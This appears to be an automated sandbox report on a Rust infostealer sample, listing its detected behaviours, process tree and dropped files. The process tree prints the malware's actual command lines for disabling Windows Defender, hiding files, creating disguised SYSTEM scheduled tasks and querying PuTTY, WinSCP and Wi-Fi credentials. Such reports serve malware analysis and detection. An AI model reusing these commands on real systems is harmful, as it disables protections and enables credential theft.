Resubmissions

07/08/2026, 07:09

260807-hy758azbnd10

22/07/2026, 22:13

260722-148m2scg6510

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    07/08/2026, 07:09

General

  • Target
    2026-07-22_9563f394e819815af5579dd0aac60221_akira_glassworm_quasar-rat_rusty-stealer.exe
  • Size 4.7MB
  • Sample260807-hy758azbnd
  • SHA256 d07ef415c1ddcb23e2b9305ab6a11d1e1bf27df28fa5468641245380c9e9c060
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: SpecterStealer,Sp3ct3rbound

    SpecterStealer aka Sp3ct3rbound is a Windows stealer written in Rust.

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Detects SpecterStealer aka Sp3ct3rbound 1 IoCs
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs
  • Modifies Windows Defender notification settings 3 TTPs 5 IoCs
  • Modifies firewall policy service 3 TTPs 12 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Windows security bypass 2 TTPs 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to get system information as a root user.

  • Modify Registry: Disable Windows Driver Blocklist 2 TTPs 1 IoCs

    Disable Windows Driver Blocklist via Registry.

  • Creates a file in the Startup directory 1 TTPs 3 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Executes dropped EXE 3 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads local data of messenger clients 2 TTPs

    Infostealers often target stored data of messaging applications, which can include saved credentials and account information.

  • Reads ssh keys stored on the system 2 TTPs

    Tries to access SSH used by SSH programs.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Windows security modification 2 TTPs 5 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 4 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Discovers running processes 1 TTPs 24 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 3 IoCs

    When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Disables Windows logging functionality 2 TTPs

    Changes registry settings to disable Windows Event logging.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Modifies registry key 1 TTPs 1 IoCs
  • NTFS ADS 5 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 48 IoCs
  • Suspicious use of WriteProcessMemory 45 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 4 IoCs
  • outlook_office_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-22_9563f394e819815af5579dd0aac60221_akira_glassworm_quasar-rat_rusty-stealer.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-22_9563f394e819815af5579dd0aac60221_akira_glassworm_quasar-rat_rusty-stealer.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Modifies Windows Defender Real-time Protection settings
    • Modifies Windows Defender notification settings
    • Modifies firewall policy service
    • Modifies security service
    • Windows security bypass
    • Modify Registry: Disable Windows Driver Blocklist
    • Creates a file in the Startup directory
    • Windows security modification
    • Accesses Microsoft Outlook profiles
    • Adds Run key to start application
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Subvert Trust Controls: Mark-of-the-Web Bypass
    • Checks processor information in registry
    • NTFS ADS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    • outlook_office_path
    PID:2516
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -NonInteractive -NoProfile -Command "Get-AppxPackage | ForEach-Object { $path = \"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\$($_.PackageFamilyName)\"; if(!(Test-Path $path)){New-Item -Path $path -Force | Out-Null}; Set-ItemProperty -Path $path -Name 'Enabled' -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } 2>$null"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3208
    • C:\Windows\system32\reg.exe
      "reg" query "HKCU\Software\Martin Prikryl\WinSCP 2\Sessions" /s
      2⤵
        PID:4496
      • C:\Windows\system32\attrib.exe
        "attrib" +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinSyncSvc.exe
        2⤵
        • Views/modifies file attributes
        PID:4372
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" -WindowStyle Hidden -NonInteractive -NoProfile -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinSyncSvc.exe' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionProcess 'svchost.exe' -ErrorAction SilentlyContinue; Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableBehaviorMonitoring $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableBlockAtFirstSeen $true -ErrorAction SilentlyContinue"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:312
      • C:\Windows\system32\attrib.exe
        "attrib" +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinSyncSvc.exe
        2⤵
        • Views/modifies file attributes
        PID:1868
      • C:\Windows\system32\ipconfig.exe
        "ipconfig" /all
        2⤵
        • Gathers network information
        PID:4112
      • C:\Windows\system32\reg.exe
        "reg" query HKCU\Software\SimonTatham\PuTTY\Sessions /s
        2⤵
        • Modifies registry key
        PID:2384
      • C:\Windows\system32\ipconfig.exe
        "ipconfig"
        2⤵
        • Gathers network information
        PID:4944
      • C:\Windows\system32\netsh.exe
        "netsh" wlan show profiles
        2⤵
        • Event Triggered Execution: Netsh Helper DLL
        • System Network Configuration Discovery: Wi-Fi Discovery
        PID:3616
      • C:\Windows\system32\attrib.exe
        "attrib" +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSync.exe"
        2⤵
        • Creates a file in the Startup directory
        • Views/modifies file attributes
        PID:3160
      • C:\Windows\system32\cmd.exe
        "cmd" /C "C:\Windows\System32\schtasks.exe /create /tn \"Microsoft\Windows\WindowsDefender\WindowsDefenderCheck\" /xml \"C:\Users\Admin\AppData\Local\Temp\~dfr3a1ad1e8.xml\" /f"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3500
        • C:\Windows\System32\schtasks.exe
          C:\Windows\System32\schtasks.exe /create /tn \"Microsoft\Windows\WindowsDefender\WindowsDefenderCheck\" /xml \"C:\Users\Admin\AppData\Local\Temp\~dfr3a1ad1e8.xml\" /f
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:796
      • C:\Windows\system32\cmd.exe
        "cmd" /C "C:\Windows\System32\schtasks.exe /create /tn \"Microsoft\Windows\UpdateOrchestrator\USO_UxBroker_Display\" /xml \"C:\Users\Admin\AppData\Local\Temp\~dfr3a1ad1e8.xml\" /f"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:360
        • C:\Windows\System32\schtasks.exe
          C:\Windows\System32\schtasks.exe /create /tn \"Microsoft\Windows\UpdateOrchestrator\USO_UxBroker_Display\" /xml \"C:\Users\Admin\AppData\Local\Temp\~dfr3a1ad1e8.xml\" /f
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2044
      • C:\Windows\system32\cmd.exe
        "cmd" /C "C:\Windows\System32\schtasks.exe /create /tn \"Microsoft\Windows\SpeechModelDownload\SpeechModelDownloadTask\" /xml \"C:\Users\Admin\AppData\Local\Temp\~dfr3a1ad1e8.xml\" /f"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2684
        • C:\Windows\System32\schtasks.exe
          C:\Windows\System32\schtasks.exe /create /tn \"Microsoft\Windows\SpeechModelDownload\SpeechModelDownloadTask\" /xml \"C:\Users\Admin\AppData\Local\Temp\~dfr3a1ad1e8.xml\" /f
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1052
      • C:\Windows\system32\cmd.exe
        "cmd" /C "C:\Windows\System32\schtasks.exe /create /tn \"Microsoft\Windows\Defrag\ScheduledDefrag\" /sc ONLOGON /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinSyncSvc.exe\" /ru SYSTEM /f"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:788
        • C:\Windows\System32\schtasks.exe
          C:\Windows\System32\schtasks.exe /create /tn \"Microsoft\Windows\Defrag\ScheduledDefrag\" /sc ONLOGON /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinSyncSvc.exe\" /ru SYSTEM /f
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4644
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" -NoProfile -NonInteractive -Command "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct 2>$null | Select-Object -ExpandProperty displayName"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2308
      • C:\Windows\system32\attrib.exe
        "attrib" +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WUDFHost.exe
        2⤵
        • Views/modifies file attributes
        PID:2140
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WUDFHost.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WUDFHost.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:3248
        • C:\Windows\system32\tasklist.exe
          "tasklist" /fi "PID eq 2516" /fo csv /nh
          3⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:2160
        • C:\Windows\system32\tasklist.exe
          "tasklist" /fi "PID eq 2516" /fo csv /nh
          3⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:4140
        • C:\Windows\system32\tasklist.exe
          "tasklist" /fi "PID eq 2516" /fo csv /nh
          3⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:2352
        • C:\Windows\system32\tasklist.exe
          "tasklist" /fi "PID eq 2516" /fo csv /nh
          3⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:5000
        • C:\Windows\system32\tasklist.exe
          "tasklist" /fi "PID eq 2516" /fo csv /nh
          3⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:4648
        • C:\Windows\system32\tasklist.exe
          "tasklist" /fi "PID eq 2516" /fo csv /nh
          3⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:3940
        • C:\Windows\system32\tasklist.exe
          "tasklist" /fi "PID eq 2516" /fo csv /nh
          3⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:4732
        • C:\Windows\system32\tasklist.exe
          "tasklist" /fi "PID eq 2516" /fo csv /nh
          3⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:4672
        • C:\Windows\system32\tasklist.exe
          "tasklist" /fi "PID eq 2516" /fo csv /nh
          3⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:4612
        • C:\Windows\system32\tasklist.exe
          "tasklist" /fi "PID eq 2516" /fo csv /nh
          3⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:4132
        • C:\Windows\system32\tasklist.exe
          "tasklist" /fi "PID eq 2516" /fo csv /nh
          3⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:1900
        • C:\Windows\system32\tasklist.exe
          "tasklist" /fi "PID eq 2516" /fo csv /nh
          3⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:3888
        • C:\Windows\system32\tasklist.exe
          "tasklist" /fi "PID eq 2516" /fo csv /nh
          3⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:3784
        • C:\Windows\system32\tasklist.exe
          "tasklist" /fi "PID eq 2516" /fo csv /nh
          3⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:1620
        • C:\Windows\system32\tasklist.exe
          "tasklist" /fi "PID eq 2516" /fo csv /nh
          3⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:3808
        • C:\Windows\system32\tasklist.exe
          "tasklist" /fi "PID eq 2516" /fo csv /nh
          3⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:3288
        • C:\Windows\system32\tasklist.exe
          "tasklist" /fi "PID eq 2516" /fo csv /nh
          3⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:4040
        • C:\Windows\system32\tasklist.exe
          "tasklist" /fi "PID eq 2516" /fo csv /nh
          3⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:468
        • C:\Windows\system32\tasklist.exe
          "tasklist" /fi "PID eq 2516" /fo csv /nh
          3⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:4792
        • C:\Windows\system32\tasklist.exe
          "tasklist" /fi "PID eq 2516" /fo csv /nh
          3⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:5080
        • C:\Windows\system32\tasklist.exe
          "tasklist" /fi "PID eq 2516" /fo csv /nh
          3⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:4132
        • C:\Windows\system32\tasklist.exe
          "tasklist" /fi "PID eq 2516" /fo csv /nh
          3⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:1300
        • C:\Windows\system32\tasklist.exe
          "tasklist" /fi "PID eq 2516" /fo csv /nh
          3⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:4656
        • C:\Windows\system32\tasklist.exe
          "tasklist" /fi "PID eq 2516" /fo csv /nh
          3⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:2352
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinSyncSvc.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinSyncSvc.exe
      1⤵
      • Executes dropped EXE
      PID:2560
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinSyncSvc.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinSyncSvc.exe"
      1⤵
      • Executes dropped EXE
      PID:2664

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 64cc983c3a2c64938f038cbdb8f88b49ab0949977a2d5292c4edf74b79a54602
          • MD5 SHA1 SHA512 TLSH

          2026-07-22_9563f394e819815af5579dd0aac60221_akira_glassworm_quasar-rat_rusty-stealer.exe

          • Path C:\Users\Admin\AppData\Local\Temp\2026-07-22_9563f394e819815af5579dd0aac60221_akira_glassworm_quasar-rat_rusty-stealer.exe
          • Size 4.7MB
          • SHA256 d07ef415c1ddcb23e2b9305ab6a11d1e1bf27df28fa5468641245380c9e9c060
          • MD5 SHA1 SHA512 SSDEEP TLSH

          __PSScriptPolicyTest_dl520f55.pcs.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dl520f55.pcs.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          WinSyncDefSvc83.lock

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinSyncDefSvc83.lock
          • Size 1B
          • SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
          • MD5 SHA1 SHA512

          WinSyncSvc.exe:Zone.Identifier

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinSyncSvc.exe:Zone.Identifier
          • Size 26B
          • SHA256 1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33
          • MD5 SHA1 SHA512

          memory/312-35-0x0000014255D30000-0x0000014255D40000-memory.dmp

          memory/312-42-0x000001423DAD0000-0x000001423DAF2000-memory.dmp

          memory/312-33-0x0000014255D30000-0x0000014255D40000-memory.dmp

          memory/2308-79-0x000002A4C0A70000-0x000002A4C0A94000-memory.dmp

          memory/2308-78-0x000002A4C0A70000-0x000002A4C0A9A000-memory.dmp

          memory/3208-52-0x000001CE6B3D0000-0x000001CE6B3E6000-memory.dmp

          memory/3208-53-0x000001CE6B3F0000-0x000001CE6B3FA000-memory.dmp

          memory/3208-54-0x000001CE6DDB0000-0x000001CE6DDD6000-memory.dmp

          memory/3208-36-0x000001CE6B380000-0x000001CE6B390000-memory.dmp